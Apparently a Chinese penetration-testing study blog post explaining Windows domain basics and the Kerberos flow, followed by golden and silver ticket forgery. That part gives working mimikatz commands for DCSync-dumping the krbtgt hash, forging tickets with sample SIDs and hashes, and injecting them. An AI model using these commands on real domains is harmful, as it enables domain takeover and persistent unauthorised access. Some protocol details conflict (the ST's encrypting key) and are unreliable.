Windows 内网渗透

内网渗透学习（一）

内网基础知识

 Von's Blog     2020-08-30   6971 words    & views

工作组

工作组其实就是类似于将电脑分组整理，比如行政部门组，财务部门组。主要有以下两个特点：

  • 可以自由进出（只需修改自己电脑的工作组名称即可加入或者退出）
  • 完全平等，没有管理和被管理之分

所以工作组虽然有一定的对内网网络进行分门别类的作用，但是不便于管理。

域（Domain）

域是工作组的升级版，但是不同的是，域有一定的安全措施。域有且至少有一个“域控制器（域控，Domain Control）”，即DC，它相当于门卫，负责对连入的电脑和用户进行验证，总结域的特点为：

  • 有且至少有一个域控，不能自由进出
  • 不对等

与工作组相比，域的安全管理控制机制更加严格。用户要想访问域内的资源，必须以合法的身份登录域，而用户对域内的资源拥有什么样的权限，还取决于用户在域内的身份；域内电脑想要互相访问，也必须经过了DC的认证。

域控（DC）

域控制器（Domain Controller）负责对连入计算机和用户进行验证工作，它本身存有整个域中关键信息（账户、密码、计算机名）的数据库。域控制器是域环境中最重要的角色，是我们域渗透的关键，拿下了域控，就相当于拿到了整个域内所有计算机的账号和密码。

DC也是活动目录（AD）存储的地方，也就是说活动目录存储在DC内。安装了活动目录的计算机被称为DC，在第一次安装活动目录之时，安装活动目录的那台计算机就成为了DC。一个域可以有一个或多个DC。

活动目录（AD）

活动目录（Active Directory）是域中，负责架构中大型网路环境的集中式目录管理服务。域内所有计算机共享着相同的目录数据库。它包含着域内的所有对象（用户账户、计算机账户、打印机、共享文件等），而AD负责目录数据库等添加，修改，更新和删除。

如果企业的内网看成一本字典，内网里面的资源就是字典的内容，活动目录就相当于字典的索引。即活动目录存储的是网络中所有资源的快捷方式，用户通过快捷方式来定位资源。

DMZ

DMZ demilitarized zone ，中文名为“隔离区”，或称“非军事化区”。它是为了解决安装防火墙后外部网络的访问用户不能访问内部网络服务器的问题，从而设立的一个非安全系统与安全系统之间的缓冲区。

DMZ 区可以理解为一个不同于外网或内网的特殊网络区域，DMZ 内通常放置一些不含机密信息的公用服务器，比如 WEB 服务器、E-Mail 服务器、FTP 服务器等。这样来自外网的访问者只可以访问 DMZ 中的服务，但不可能接触到存放在内网中的信息等，即使 DMZ 中服务器受到破坏，也不会对内网中的信息造成影响。

Kerberos认证

Kerberos认证是Windows中一个很知名的认证协议，但认证流程也是相当麻烦，Kerberos起源于希腊神话，是一支守护着冥界长着3个头颅的神犬（地狱三头犬），这三个头代表着Kerberos认证中的三个角色：

  • KDC(Key Distribution Center)：密钥分发中心（一般默认安装在域控DC中），里面包含两个服务：AS和TGS
    • AS(Authentication Server)：身份认证服务，用于KDC对Client的认证
    • TGS(Ticket Granting Server)：票据授予服务，用于KDC向Client和Server分发密钥
  • Client：请求服务的客户端
  • Server：提供服务的服务端

创建域时，会自动创建一个KDC账户KRBTGT，但无法登录

总体印象

对于上面提到的三者之间的关系是：这三者的关系是：Client要访问Server，必须提供票据，而票据就是由KDC颁发。

如果我们类比为去买车票，AS先验证Client的个人信息，如果验证通过则返回一张TGT（Ticket Granting Ticket，票据授权票据）给Client。Client再拿着TGT去访问TGS，TGS认证通过后再返回给Client车票ST（Service Ticket），最后Client利用ST去访问对应的服务。

当然以上只是一个简要的概述而已，具体认证流程将在下面学习：

具体流程

k1

预先工作

在用户U输入完用户名和密码后，客户端会用NTML HASH对密码做一次哈希运算，并将运算结果称为Key-Client（客户端密钥）

第一步

1、Client利用Key-Client将当前时间戳进行加密，生成一个字符串Key-Client{Stamp}

2、Client将Key-Client{Stamp}、用户的信息Info(U)以及Server info（注意：这里并不是Client真正要访问的Server的名称，实际上是KDC的Ticket Granting Service ID）构成了AS_REQ，并发送给AS

AS_REQ = Key-Client{Stamp} + Info(U) + Server info

第二步

1、AS在收到信息后，首先根据Info(U)去AD（活动目录）中寻找是否存在该用户，如果存在，则会根据AD中的用户密码由同样的生成方式生成KDC端的Key-Client（如果用户的用户密码正确，这两者显然应该是相同的）

2、AS利用Key-Client解密字符串Key-Client{Stamp}，如果成功解密得到一个可用的时间戳并且时间戳在5分钟以内，说明该请求确实是用户U发出的，于是完成了对Client的认证

3、KDC利用NTML HASH对KRBTGT账户的密码进行哈希，并将运算结果称为Key-KDC

4、KDC随机生成一个Logon Session Key，并用Key-Client加密Logon Session Key构成Msg1

5、KDC构造TGT（Ticket Granting Ticket，票据授权票据，也被称为黄金票据）,TGT的有效部分主要由以下几部分构成：

  • Logon Session Key
  • Info(U)：Domain name\Client
  • End time：过期时间，一般为10小时

这三部分构成Msg2，用Key-KDC加密Msg2即构成TGT

6、KDC将Msg1和TGT构成AS_REP发给Client，即：

Msg1 = Key-Client{Logon Session Key}
TGT = Key-KDC{Logon Session Key + Info(U) + End time}
AS_REP = Msg1 + TGT

第三步

1、Client收到AS_REP后利用Key-Client解密Msg1得到Logon Session Key，由于Client不知晓Key-KDC，无法解密TGT

2、Client用Logon Session Key加密当前时间戳和用户信息Info(U)，得到Authenticator = Logon Session Key{Stamp + Info(U)}

3、Client将TGT、SPN（要访问的服务ID）、Authenticator构成TGS_REQ并发送给TGS

Authenticator = Logon Session Key{Stamp + Info(U)}
TGS_REQ = TGT + SPN + Authenticator

第四步

1、由于TGS不知晓Logon Session Key无法直接解密Authenticator，因此KDC需要先用Key-KDC去解密TGS得到Logon Session Key，Info(U)，End time；再用Logon Session Key去解密Authenticator，将解密得到的{Stamp + Info(U)}与解密TGS得到的{Info(U) + End time}进行比对验证

2、若验证通过，KDC随机生成Client/Server Session Key并用Logon Session Key对其进行加密，将结果称为sessionkey_tgs

3、KDC利用NTML HASH对所访问的Server的密码进行哈希，并将运算结果称为Key-Server

4、KDC构造ST（Service Ticket，也称为白银票据），ST的有效部分主要由以下几部分构成：

  • Client/Server Session Key
  • Info(U)：Domain name\Client
  • End time

这三部分构成Msg3，用Key-KDC加密Msg3即构成ST

5、KDC将sessionkey_tgs、ST构成TGS_REP并发送给Client

sessionkey_tgs = Logon Session Key{Client/Server Session Key}
ST = Key-Server{Client/Server Session Key + Info(U) + End time}
TGS_REP = sessionkey_tgs + ST

注意：在这一步中，不论用户是否有权限访问服务，只要TGT解密无误，都将返回ST。任何一个用户，只要hash正确，就可以请求域内任何一个服务的票据

第五步

1、Client 收到TGS返回的信息后，同理的可以获得Client/Server Session Key，但是无法解密ST

2、Client用Client/Server Session Key加密当前时间戳和用户信息Info(U)，得到新的Authenticator = Client/Server Session Key{Stamp + Info(U)}

3、Client将ST、Authenticator和一个Flag（用于表示Client是否要求进行双向验证，一般都是需要的）构成AP_REQ并发送给Server

Authenticator = Client/Server Session Key{Stamp + Info(U)}
AP_REQ = ST + Authenticator + Flag

第六步

1、Server首先用Key-Server解密ST得到Client/Server Session Key，Info(U)，End time；再用Client/Server Session Key去解密Authenticator，将解密得到的{Stamp + Info(U)}与解密ST得到的{Info(U) + End time}进行比对验证

2、验证通过后，若Flag表示需要进行双向验证，Server用Client/Server Session Key加密从Authenticator提取到的Stamp，称为AP_REP

AP_REP = Client/Server Session Key{Stamp}

3、Client收到AP_REP后，使用Client/Server SessionKey解密，提取出时间戳，确认与之前发送给Server的时间戳一致

4、Client和Server建立起连接

PAC

在 Kerberos 的几个流程里说明了如何证明 Client 是 Client 而不是由其他人来冒充的，但并没有声明 Client 有没有访问 Server 服务的权限；由于在域中不同权限的用户能够访问的资源是有区别的，所以微软为了解决这个问题在实现 Kerberos 时加入了 PAC（Privilege Attribute Certificate，特权属性证书） 的概念。

伪造黄金票据

我们回到第三步：

Authenticator = Logon Session Key{Stamp + Info(U)}
TGS_REQ = TGT + SPN + Authenticator

TGS_REQ由三部分构成，其中SPN，Authenticator都是Client可控的而TGT是Client所无法解密和控制的。

考虑一种场景，我们在之前的渗透中获得了域控权限，由于有些原因导致你对域管权限丢失，但好在你还有一个普通域用户权限，碰巧管理员在域内加固时忘记重置KRBTGT密码，那么此时我们可以伪造黄金票据来恢复我们的域管身份。

前面我们知道：

TGT = Key-KDC{Logon Session Key + Info(U) + End time}

有了Key-KDC后我们可以伪造出一个完全合规的TGT，进而构造出合法的TGS_REQ来完成后续的完整流程。因此，伪造黄金票据（TGT）的影响是巨大的，可以绕过对任意用户的账号策略，让用户成为任意组的成员，可用于Kerberos认证的任何服务。

实战中一般采用mimikatz伪造黄金票据，伪造时需要知道以下信息：

1、域名称            
2、域的SID值
3、域的KRBTGT账户密码HASH
4、伪造用户名，可以是任意的

域名称可以通过以下命令获取：

whoami
net time /domain
ipconfig /all

域SID可以通过whoami /all 获取，得到的SID只有红框里的部分为域SID，后面的1110为该用户的RID（这里我们只需要域SID）

image-20240328211717961

KRBTGT的密码HASH可以通过mimikatz "lsadump::dcsync /domain:xxxx.com /user:krbtgt"获取

至于用户名，之所以说可以是任意的，是当处于TGT有效期的前20min时，TGS并不会检验TGT中用户信息的真实性，默认相信TGT中的用户信息（哪怕用户被封禁甚至是不存在）。如果黑客在账号被锁定之前就已经获取了访问某一个服务的ST，则这张ST会一直有效，直到它的票面时间（一般是10h）过期为止。

生成票据文件：

kerberos::golden /admin:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /ticket:golden.kiribi

清空主机内的票据缓存，再将生成的golden.kiribi导入内存：

kerberos::purge
klist purge
kerberos::ptt golden.kiribi

可以使用

kerberos::list
klist

来验证是否伪造成功。

伪造白银票据

同理来说，在第五步时

ST = Key-Server{Client/Server Session Key + Info(U) + End time}
Authenticator = Client/Server Session Key{Stamp + Info(U)}
AP_REQ = ST + Authenticator + Flag

假如我们知道了Key-Server，也就可以通过伪造ST来构建出一个合法的AP_REQ进而不经过KDC直接请求Server服务了。不过显然，ST生成时指定了相关的服务名，因此只能用来访问相应的服务，所以局限性比较大

制作白银票据需要以下这些内容：

/domain：当前域名称
/sid：SID值，和金票一样取前面一部分
/target：目标主机，这里是OWA2010SP3.0day.org
/service：服务名称，这里需要访问共享文件，所以是cifs
/rc4：目标主机的HASH值
/user：伪造的用户名（可以为任意值）
/ptt：表示的是Pass TheTicket攻击，是把生成的票据导入内存，也可以使用/ticket导出之后再使用kerberos::ptt来导入

例子：

kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA2010SP3.0day.org /service:cifs /rc4:125445ed1d553393cce9585e64e3fa07 /user:silver /ptt

通常来说可用的service类型有以下这些：

Service Type Service Silver Tickets
WMI HOST RPCSS
PowerShell Remoting HOST HTTP
WinRM HOST HTTP
Scheduled Tasks HOST
Windows File Share (CIFS) CIFS
LDAP operations includingMimikatz DCSync LDAP
Windows Remote Server Administration Tools RPCSS LDAP CIFS

参考文章

浅析黄金票据与白银票据

黄金票据的制作与使用

CATALOG
    FEATURED TAGS
    Practice SQL Web CTF Crypto Docker PHP 文件包含 杂谈 编码 Python 爬虫 问题修复 Linux Math Java SSRF XXE Flask 反序列化 出题 Windows 内网渗透 编程
    FRIENDS